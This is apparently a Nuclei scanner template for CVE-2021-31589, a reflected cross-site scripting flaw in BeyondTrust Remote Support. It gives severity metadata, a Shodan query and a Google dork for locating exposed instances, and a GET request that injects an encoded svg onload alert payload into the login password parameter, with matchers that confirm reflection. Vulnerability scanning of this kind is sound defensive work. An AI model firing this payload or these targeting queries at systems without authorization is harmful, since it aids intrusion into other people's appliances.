nuclei-templates/cves/2021/CVE-2021-31589.yaml

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id: CVE-2021-31589
info:
name: BeyondTrust Remote Support Reflected XSS
author: Ahmed Abou-Ela
severity: medium
description: Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML.
reference:
- https://packetstormsecurity.com/files/165408
- https://cxsecurity.com/issue/WLB-2022010013
- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-31589
cwe-id: CWE-79
metadata:
shodan-query: 'set-cookie: nsbase_session'
google-dork: '"BeyondTrust" "Redistribution Prohibited"'
tags: cve,cve2021,beyondtrust,bomgar,xss
requests:
- method: GET
path:
- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
matchers-condition: and
matchers:
- type: word
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case-insensitive: true
part: body
words:
- '<svg/onload=alert(document.domain)>'
- 'bomgar'
condition: and
- type: status
status:
- 200